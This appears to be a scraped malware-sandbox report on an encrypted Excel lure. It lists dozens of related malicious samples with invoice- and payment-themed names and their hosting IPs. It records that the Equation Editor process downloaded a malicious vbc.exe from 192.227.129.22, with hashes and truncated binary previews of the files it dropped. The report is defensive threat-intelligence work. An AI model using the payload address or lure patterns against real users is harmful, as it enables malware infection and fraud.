sbsfe-p11r.geo.mf0.yahoodns.net 7OKYiP6gHy.exe Get hash malicious Browse 67.195.197.25

SWIFT TRANSFER.exe Get hash malicious Browse 67.195.197.25

shops.myshopify.com Shipping documents.xlsx Get hash malicious Browse 23.227.38.74

PO98765.exe Get hash malicious Browse 23.227.38.74

inv.exe Get hash malicious Browse 23.227.38.74

EME_PO.39134.xlsx Get hash malicious Browse 23.227.38.74

Shipment Document BLINV And Packing List Attached.exe Get hash malicious Browse 23.227.38.74

Swift Copy.exe Get hash malicious Browse 23.227.38.74

Inv.exe Get hash malicious Browse 23.227.38.64

CSq58hA6nO.exe Get hash malicious Browse 23.227.38.64

New Order .xlsx Get hash malicious Browse 23.227.38.64

Domains
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https://view.joesandbox.com/analysis/231281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231281/html/none?idtype=webid
https://view.joesandbox.com/analysis/231269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231269/html/none?idtype=webid
https://view.joesandbox.com/analysis/231169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231169/html/none?idtype=webid
https://view.joesandbox.com/analysis/230856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230856/html/none?idtype=webid
https://view.joesandbox.com/analysis/230753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230753/html/none?idtype=webid
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid
https://view.joesandbox.com/analysis/214663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214663/html/none?idtype=webid
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid
https://view.joesandbox.com/analysis/240525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240525/html/none?idtype=webid
https://view.joesandbox.com/analysis/240105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240105/html/none?idtype=webid
https://view.joesandbox.com/analysis/239931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239931/html/none?idtype=webid
https://view.joesandbox.com/analysis/239750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239750/html/none?idtype=webid


NQQWym075C.exe Get hash malicious Browse 23.227.38.64

Order specs19.11.20.exe Get hash malicious Browse 23.227.38.64

Payment Advice - Advice Ref GLV823990339.exe Get hash malicious Browse 23.227.38.64

SWIFT_HSBC Bank.exe Get hash malicious Browse 23.227.38.64

ORDER SPECIFITIONS.exe Get hash malicious Browse 23.227.38.64

anthony.exe Get hash malicious Browse 23.227.38.64

udtiZ6qM4s.exe Get hash malicious Browse 23.227.38.64

qAOaubZNjB.exe Get hash malicious Browse 23.227.38.64

uM0FDMSqE2.exe Get hash malicious Browse 23.227.38.64

new file.exe.exe Get hash malicious Browse 23.227.38.64

jrzlwOa0UC.exe Get hash malicious Browse 23.227.38.64

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

ONEANDONE-ASBrauerstrasse48DE fSBya4AvVj.exe Get hash malicious Browse 74.208.236.48

PO987556.exe Get hash malicious Browse 217.160.0.166

Inv.exe Get hash malicious Browse 217.160.0.173

Purchase Order 40,7045.exe Get hash malicious Browse 74.208.236.115

Order specs19.11.20.exe Get hash malicious Browse 217.160.0.74

Purchase Order  40,7045.exe Get hash malicious Browse 74.208.236.115

Payment Advice - Advice Ref GLV823990339.exe Get hash malicious Browse 217.160.0.92

www.winter-holztechnik.de/ Get hash malicious Browse 217.160.0.67

Re- attached Instruction.xlsx Get hash malicious Browse 82.165.48.223

docs.html Get hash malicious Browse 74.208.236.216

Prueba de pago.exe Get hash malicious Browse 217.76.146.62

baf6b9fcec491619b45c1dd7db56ad3d.exe Get hash malicious Browse 217.160.0.224

Narud#U017eba 0521360021.xlsx Get hash malicious Browse 74.208.22.240

Quote Request.xlsx Get hash malicious Browse 82.165.48.223

anthony.exe Get hash malicious Browse 217.160.0.199

8miw6WNHCt.exe Get hash malicious Browse 74.208.5.21

WO4jeXWl0L.exe Get hash malicious Browse 74.208.45.104

5YCsNuM4a9.exe Get hash malicious Browse 74.208.45.104

eLaaw7SqMi.exe Get hash malicious Browse 74.208.5.22

vi9qEkXlGm.exe Get hash malicious Browse 217.76.150.19

sun-asnSC 0VikCnzrVT.exe Get hash malicious Browse 102.134.56.244

PI210941.exe Get hash malicious Browse 102.134.56.244

WQA101320.exe Get hash malicious Browse 102.134.56.244

fT2aAFPT1F.exe Get hash malicious Browse 102.134.58.12

fT2aAFPT1F.exe Get hash malicious Browse 102.134.58.12

AS-COLOCROSSINGUS Shipping documents.xlsx Get hash malicious Browse 216.170.12
6.121

document-2009439254.xls Get hash malicious Browse 198.46.155.18

document-2009439254.xls Get hash malicious Browse 198.46.155.18

document-1940099967.xls Get hash malicious Browse 198.46.155.18

document-1940099967.xls Get hash malicious Browse 198.46.155.18

document-2020425077.xls Get hash malicious Browse 198.46.155.18

document-2020425077.xls Get hash malicious Browse 198.46.155.18

document-1851433106.xls Get hash malicious Browse 198.23.156.170

document-1851433106.xls Get hash malicious Browse 198.23.156.170

document-1959916382.xls Get hash malicious Browse 198.23.156.170

document-1959916382.xls Get hash malicious Browse 198.23.156.170

document-2078943362.xls Get hash malicious Browse 198.46.155.18

document-1999796651.xls Get hash malicious Browse 198.46.155.18

document-2078943362.xls Get hash malicious Browse 198.46.155.18

document-1999796651.xls Get hash malicious Browse 198.46.155.18

document-189497319.xls Get hash malicious Browse 198.23.156.170

document-2004587833.xls Get hash malicious Browse 198.23.156.170

document-189497319.xls Get hash malicious Browse 198.23.156.170

document-184003024.xls Get hash malicious Browse 198.23.156.170

document-2004587833.xls Get hash malicious Browse 198.23.156.170

YAHOO-3US 7OKYiP6gHy.exe Get hash malicious Browse 67.195.197.25

8miw6WNHCt.exe Get hash malicious Browse 74.6.136.150

0P0cZbXEbK.exe Get hash malicious Browse 67.195.204.75

ASN
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https://view.joesandbox.com/analysis/239573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239573/html/none?idtype=webid
https://view.joesandbox.com/analysis/238822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238822/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238688/html/none?idtype=webid
https://view.joesandbox.com/analysis/237737/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237737/html/none?idtype=webid
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid
https://view.joesandbox.com/analysis/236308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236308/html/none?idtype=webid
https://view.joesandbox.com/analysis/236034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236034/html/none?idtype=webid
https://view.joesandbox.com/analysis/236019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236019/html/none?idtype=webid
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid
https://view.joesandbox.com/analysis/235495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235495/html/none?idtype=webid
https://view.joesandbox.com/analysis/240531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240531/html/none?idtype=webid
https://view.joesandbox.com/analysis/240420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240420/html/none?idtype=webid
https://view.joesandbox.com/analysis/240105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240105/html/none?idtype=webid
https://view.joesandbox.com/analysis/239631/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239631/html/none?idtype=webid
https://view.joesandbox.com/analysis/238822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238822/html/none?idtype=webid
https://view.joesandbox.com/analysis/238770/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238770/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238645/html/none?idtype=webid
https://view.joesandbox.com/analysis/238638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238638/html/none?idtype=webid
https://view.joesandbox.com/analysis/238139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238139/html/none?idtype=webid
https://view.joesandbox.com/analysis/238039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238039/html/none?idtype=webid
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid
https://view.joesandbox.com/analysis/237406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237406/html/none?idtype=webid
https://view.joesandbox.com/analysis/237391/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237391/html/none?idtype=webid
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid
https://view.joesandbox.com/analysis/235911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235911/html/none?idtype=webid
https://view.joesandbox.com/analysis/235864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235864/html/none?idtype=webid
https://view.joesandbox.com/analysis/235825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235825/html/none?idtype=webid
https://view.joesandbox.com/analysis/235451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235451/html/none?idtype=webid
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid
https://view.joesandbox.com/analysis/228836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228836/html/none?idtype=webid
https://view.joesandbox.com/analysis/217338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217338/html/none?idtype=webid
https://view.joesandbox.com/analysis/215301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/215301/html/none?idtype=webid
https://view.joesandbox.com/analysis/215298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/215298/html/none?idtype=webid
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid
https://view.joesandbox.com/analysis/241392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241392/html/none?idtype=webid
https://view.joesandbox.com/analysis/241389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241389/html/none?idtype=webid
https://view.joesandbox.com/analysis/241384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241384/html/none?idtype=webid
https://view.joesandbox.com/analysis/241381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241381/html/none?idtype=webid
https://view.joesandbox.com/analysis/241357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241357/html/none?idtype=webid
https://view.joesandbox.com/analysis/241354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241354/html/none?idtype=webid
https://view.joesandbox.com/analysis/241338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241338/html/none?idtype=webid
https://view.joesandbox.com/analysis/241334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241334/html/none?idtype=webid
https://view.joesandbox.com/analysis/241327/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241327/html/none?idtype=webid
https://view.joesandbox.com/analysis/241322/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241322/html/none?idtype=webid
https://view.joesandbox.com/analysis/241302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241302/html/none?idtype=webid
https://view.joesandbox.com/analysis/241300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241300/html/none?idtype=webid
https://view.joesandbox.com/analysis/241299/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241299/html/none?idtype=webid
https://view.joesandbox.com/analysis/241298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241298/html/none?idtype=webid
https://view.joesandbox.com/analysis/241294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241294/html/none?idtype=webid
https://view.joesandbox.com/analysis/241292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241292/html/none?idtype=webid
https://view.joesandbox.com/analysis/241290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241290/html/none?idtype=webid
https://view.joesandbox.com/analysis/241289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241289/html/none?idtype=webid
https://view.joesandbox.com/analysis/241288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241288/html/none?idtype=webid
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid
https://view.joesandbox.com/analysis/236417/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236417/html/none?idtype=webid


uvjAwriS1c.exe Get hash malicious Browse 67.195.204.80

ZYhucZndrm.exe Get hash malicious Browse 67.195.204.77

Zped7c3dam.exe Get hash malicious Browse 67.195.204.77

bLPTjx97o4.exe Get hash malicious Browse 67.195.204.73

AC1EXbN0nE.exe Get hash malicious Browse 67.195.204.79

Ohb6q4Utz8.exe Get hash malicious Browse 67.195.204.72

Z7wySV8sRC.exe Get hash malicious Browse 67.195.204.75

NmoVPyVD86.exe Get hash malicious Browse 67.195.204.77

zG8cVHvxat.exe Get hash malicious Browse 98.139.175.225

DOC_PDF1.exe Get hash malicious Browse 74.6.141.46

GPSOpSQQHn.exe Get hash malicious Browse 67.195.204.73

SecuriteInfo.com.Trojan.Siggen10.14421.6375.exe Get hash malicious Browse 67.195.204.74

SecuriteInfo.com.Trojan.Siggen10.14421.24699.exe Get hash malicious Browse 67.195.204.79

dOtSDl5N2j.exe Get hash malicious Browse 67.195.204.73

pLHcPFCu5N.exe Get hash malicious Browse 67.195.204.73

bmQ420M9JO.exe Get hash malicious Browse 67.195.204.73

sKu7FoPlk3.exe Get hash malicious Browse 67.195.204.73

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: downloaded

Size (bytes): 515072

Entropy (8bit): 7.4607975468542165

Encrypted: false

SSDEEP: 12288:qEEoEPCriH+klc6V1OqjciM8RHK/9ZzCsC2iQmkLa8tt8LF:DNiMp/9Zzq2iYLR8

MD5: 4A105D55BFF1F7304E01CE7198BADA6B

SHA1: 423AF325F62A4B075CAA8422A36C3A3E2426C2B8

SHA-256: BAB96ED17C1226911DE27241224E33A3257BBEC0408A4E311167E2C972B39C3E

SHA-512: 48A337B15B0ED67F8CD3D4D136BD6A29F492777EBBD755281AE99AC8EF7E82696C4947C57509235EFEA5C02EAB18911AD7970A5AF913D469933E6D90898793BF

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 25%

Reputation: low

IE Cache URL: 192.227.129.22/vbc.exe

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._..............0.................. ........@.. .......................@...........
.@.....................................O............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... .
.....................@..B........................H.......H................................................................0..)........{.........(....t......|......(...+...3.*....0..)........{.........(....t......|......(...+...3.*....0..)........{...
......(....t......|......(...+...3.*....0..)........{.........(....t......|......(...+...3.*..s....}.....~....}.....(.......(.....*.0.............(........(......*.................0..4........r...p(.............s....}........{......(....}....*:..{....
(....&*..0..................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\46B6EF3.emf
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 1099960

Entropy (8bit): 2.015335768317307

Encrypted: false

SSDEEP: 3072:KXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cy:IahIFdyiaT2qtXw

MD5: B74BAFC856BD93ADEC1905438AD0D8B5

SHA1: 5DAE3A28DD5F8E0CF0CADAEA61F56638829F80C7

SHA-256: 85EA8291C352F53D27668F058AB273A227040E104A09772A5D5A463AC2EF42FA

SHA-512: 726F74535A46135155CB8ED0B251CBB70FC1F8F296117C48148BB4646D2098F1797BAA91CFD6FE02CA07633524BDCF8A6775646AB308898CCF2525B962485690

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/236319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236319/html/none?idtype=webid
https://view.joesandbox.com/analysis/236240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236240/html/none?idtype=webid
https://view.joesandbox.com/analysis/236041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236041/html/none?idtype=webid
https://view.joesandbox.com/analysis/234828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234828/html/none?idtype=webid
https://view.joesandbox.com/analysis/233778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233778/html/none?idtype=webid
https://view.joesandbox.com/analysis/233561/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233561/html/none?idtype=webid
https://view.joesandbox.com/analysis/232429/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232429/html/none?idtype=webid
https://view.joesandbox.com/analysis/230681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230681/html/none?idtype=webid
https://view.joesandbox.com/analysis/225735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225735/html/none?idtype=webid
https://view.joesandbox.com/analysis/225381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225381/html/none?idtype=webid
https://view.joesandbox.com/analysis/225115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225115/html/none?idtype=webid
https://view.joesandbox.com/analysis/224384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224384/html/none?idtype=webid
https://view.joesandbox.com/analysis/224379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224379/html/none?idtype=webid
https://view.joesandbox.com/analysis/224315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224315/html/none?idtype=webid
https://view.joesandbox.com/analysis/224268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224268/html/none?idtype=webid
https://view.joesandbox.com/analysis/223845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223845/html/none?idtype=webid
https://view.joesandbox.com/analysis/203596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203596/html/none?idtype=webid


Malicious: false

Reputation: low

Preview:
....l...........S................@...%.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?
!@...........@..............................................I.......%...........%...................................R...p................................@."C.a.l.i.b.r.i...............................................................P.......
.N.QP...H...........4....N.QP...H... ....yTPH...P... ............zTP............................................X...%...7...................{ .@................C.a.l.i.b.r.................X...H...|....2MP.................
{KP............dv......%...........%...........%...........!.......................I......."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I.......P... ...6...F.....
.....EMF+*@..$..........?...........?.........@...........@..........*@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\46B6EF3.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A10CF879.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf

MD5: AA7A56E6A97FFA9390DA10A2EC0C5805

SHA1: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782

Malicious: false

Reputation: moderate, very likely benign file

Preview:
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD647458.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf

MD5: AA7A56E6A97FFA9390DA10A2EC0C5805

SHA1: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782

Malicious: false

Reputation: moderate, very likely benign file

Preview:
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\Desktop\~$EME_PO.47563.xlsx

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1: A44EEBDA5EB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E
0

Malicious: true

Reputation: moderate, very likely benign file

Preview:
.user                                                 ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user                                                 ..A.l.b.u.s. . . . . . . . . . . 
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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Static File Info

General
File type: CDFV2 Encrypted

Entropy (8bit): 7.960930778239428

TrID: Generic OLE2 / Multistream Compound File 
(8008/1) 100.00%

File name: EME_PO.47563.xlsx

File size: 201728

MD5: 3ef301afc6cc945e31ab9c8f4c24b29c

SHA1: fc4f87402b120027927a5303eb3ced1e96f979a4

SHA256: f6feb4b1cb9e6c6df4cab250ed38f0b25d6033ce97a7e68
dbf90eb6c49fb1b13

SHA512: 8d0d4a29dd5ae9d60f160aa1d9406b59c7cac9c43146e9
ebfc9c4e116ca328554087fe81e2f73f643ba3d5a6faeab7
1e2a24878c6af0efadd54e4be15ca64881

SSDEEP: 6144:3TWq7m2xCRdahQX1AxH171aJO/6kNHI4f/1xFx
xm:3Rm2GahUAdRQJO/fHI4f/1lxm

File Content Preview: ........................>...............................................................
.........................................................................................
..............................................................................

File Icon

Icon Hash: e4e2aa8aa4b4bcb4

C:\Users\Public\vbc.exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 515072

Entropy (8bit): 7.4607975468542165

Encrypted: false

SSDEEP: 12288:qEEoEPCriH+klc6V1OqjciM8RHK/9ZzCsC2iQmkLa8tt8LF:DNiMp/9Zzq2iYLR8

MD5: 4A105D55BFF1F7304E01CE7198BADA6B

SHA1: 423AF325F62A4B075CAA8422A36C3A3E2426C2B8

SHA-256: BAB96ED17C1226911DE27241224E33A3257BBEC0408A4E311167E2C972B39C3E

SHA-512: 48A337B15B0ED67F8CD3D4D136BD6A29F492777EBBD755281AE99AC8EF7E82696C4947C57509235EFEA5C02EAB18911AD7970A5AF913D469933E6D90898793BF

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 25%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._..............0.................. ........@.. .......................@...........
.@.....................................O............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... .
.....................@..B........................H.......H................................................................0..)........{.........(....t......|......(...+...3.*....0..)........{.........(....t......|......(...+...3.*....0..)........{...
......(....t......|......(...+...3.*....0..)........{.........(....t......|......(...+...3.*..s....}.....~....}.....(.......(.....*.0.............(........(......*.................0..4........r...p(.............s....}........{......(....}....*:..{....
(....&*..0..................

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: False

Application Name: unknown

Encrypted Document: True

Contains Word Document Stream: False

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Static OLE Info

OLE File "EME_PO.47563.xlsx"
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Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: False

Indicators

General

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace

File Type: data

Stream Size: 64

Entropy: 2.73637206947

Base64 Encoded: False

Data ASCII: . . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . 

Data Raw: 08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 
6d 00 00 00 

General

Stream Path: \x6DataSpaces/DataSpaceMap

File Type: data

Stream Size: 112

Entropy: 2.7597816111

Base64 Encoded: False

Data ASCII: . . . . . . . . h . . . . . . . . . . .   . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o
. n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . . 

Data Raw: 08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 
53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 
6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00 

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary

File Type: data

Stream Size: 200

Entropy: 3.13335930328

Base64 Encoded: False

Data ASCII: X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 
5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n
